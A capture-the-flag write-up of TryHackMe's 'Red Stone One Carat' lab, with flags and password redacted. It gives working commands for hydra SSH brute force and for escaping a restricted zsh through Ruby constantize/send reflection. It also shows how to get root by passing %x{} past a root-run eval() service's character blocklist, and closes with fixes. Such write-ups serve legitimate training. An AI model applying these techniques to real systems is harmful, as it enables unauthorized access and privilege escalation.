Red Stone One Carat
Hint-filtered SSH brute force lands a restricted zsh; a constantize-based Ruby script escapes it, and a root-owned Ruby eval() service with an incomplete character blocklist is bypassed with %x{} for root.
TryHackMe: Red Stone One Carat — Escaping a Restricted zsh, Then a Blocklist-Bypassed eval() to Root
A walkthrough of TryHackMe’s “Red Stone One Carat”: a room hint narrows an SSH password crack, which drops us into a restricted zsh. A leftover Ruby script that calls constantize lets us break out, and a root-owned Ruby service on loopback that eval()**s our input behind a leaky character blocklist hands us root.
Red Stone One Carat is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. The cracked password and both flags are redacted — values shown as
<redacted>orTHM{<redacted>}are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
The room hints the password contains bu → grep bu rockyou.txt + hydra cracks SSH for user noraj → login drops into a restricted zsh (rzsh) with PATH=/home/noraj/bin → enumerate with shell globbing (echo *) and read the user flag with echo "$(<user.txt)" → ~/bin/test.rb uses Ruby constantize + send (unsafe reflection) to call any method, which we use to spawn an unrestricted shell and restore PATH → a root-owned Ruby service on 127.0.0.1:31547 eval()s each line behind a character blocklist that forgets % → Ruby’s %x{...} command literal needs none of the banned characters → %x{cat /root/*} runs as root.
The target
export IP=<target-ip>
Only one port is open, so everything has to come through SSH:
22/tcp OpenSSH 7.6p1 Ubuntu
Step 1 — crack SSH with a hint-filtered wordlist
The room tells us the password contains bu. Filtering rockyou to just those candidates turns a hopeless brute force into a quick one:
grep "bu" ~/rockyou.txt > wordlists.txt
hydra -l noraj -P wordlists.txt ssh://$IP
# [22][ssh] host: $IP login: noraj password: <redacted>
Step 2 — survive a restricted zsh, grab the user flag
Login lands in /bin/rzsh with a crippled PATH — no ls, id, or whoami:
red-stone-one-carat% echo $SHELL # /bin/rzsh
red-stone-one-carat% echo $PATH # /home/noraj/bin
Shell builtins still work. Globbing replaces ls, and a here-string read replaces cat:
red-stone-one-carat% echo * # bin user.txt
red-stone-one-carat% echo ./.* # .hint.txt .zshrc .cache ...
red-stone-one-carat% echo "$(<user.txt)" # THM{<redacted>}
red-stone-one-carat% echo "$(<.hint.txt)" # Maybe take a look at local services.
Step 3 — unsafe reflection in a Ruby helper breaks the jail
~/bin holds the restricted shell binary and a small Ruby script:
red-stone-one-carat% echo "$(<bin/test.rb)"
#!/usr/bin/ruby
require 'rails'
if ARGV.size == 3
klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
puts File.read(__FILE__)
end
Insight
String#constantize turns an attacker-supplied string into a real Ruby class, and send then calls an arbitrary method on it with our argument. That is unsafe reflection: test.rb Kernel exec /bin/zsh becomes Kernel.exec("/bin/zsh"). We use it to spawn a shell outside the restricted environment, then set a normal PATH so system binaries work again.
red-stone-one-carat% test.rb Kernel exec '/bin/zsh'
red-stone-one-carat% export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Step 4 — find the root service the hint pointed at
With a working PATH, scan loopback for the “local services” the hint mentioned:
nc -zvnw 1 127.0.0.1 1-65535
# ... 31547 open
nc 127.0.0.1 31547
$ whoami
# undefined local variable or method `whoami' for main:Object
That error is the giveaway: the service is a Ruby REPL — it is eval()-ing whatever we send.
Step 5 — bypass the eval() blocklist with %x{} → root
The service rejects a set of characters, which we map by poking it one byte at a time:
$ File.read('/etc/passwd')
Forbidden character
# banned: ` ( ) [ ] . ' " < >
The blocklist kills the obvious ways to call a method or run a command — but it never bans %. Ruby’s %x{...} is a command-execution literal (the backtick’s twin) and needs none of the forbidden characters:
$ %x{id}
# uid=0(root) gid=0(root) groups=0(root)
$ %x{cat /root/*}
# THM{<redacted>} (+ the service's own server.rb source)
The service runs as root, so %x{...} is arbitrary command execution as root — game over. Reading /root/* also dumps server.rb, confirming the sink: client.puts eval(line) guarded only by a regex blocklist.
Impact
Critical
Critical — local root via an eval() service. A root-owned listener that eval()s untrusted input is remote code execution as root for anyone who can reach loopback; combined with the weak SSH password and the breakable restricted shell, the box goes from a one-word hint to root. The eval() sink rates about CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) once you can reach it. The restricted shell and the character blocklist are both pure obscurity — neither survives contact.
Recommended fix
Fix
- Never
eval()network input. A blocklist of “dangerous characters” is not a sandbox —%x{},__send__, and dozens of other forms slip through. Parse a fixed command set instead, and never run such a service as root. - Avoid
constantize**/**sendon attacker strings. Map allowed actions explicitly; unrestricted reflection is code execution. - A restricted shell is not a security boundary. If any reachable binary (ruby, a PATH entry you control) can spawn a process, the jail is gone. Don’t rely on rzsh/rbash to contain a user.
- Enforce strong SSH passwords (or keys only); a crackable word plus a public hint is no barrier.
Takeaways
- Blocklists lose. The service banned quotes, dots, parens, and backticks but forgot
%— one missed character is the whole exploit. Allow-list, don’t deny-list. - Restricted shells are escaped by whatever they left on
PATH**.** A single interpreter (Ruby, Python, Perl) is a full break-out. - Loopback-only services are still attack surface once you have a foothold — always scan
127.0.0.1after landing. - Hints are intel. “The password contains
bu” cuts rockyou from millions to thousands; “look at local services” names the privesc outright.
Thanks for reading. Red Stone One Carat is a neat lesson in layered obscurity — a restricted shell, a filtered wordlist, and a character blocklist — none of which stands up to a single well-chosen Ruby trick.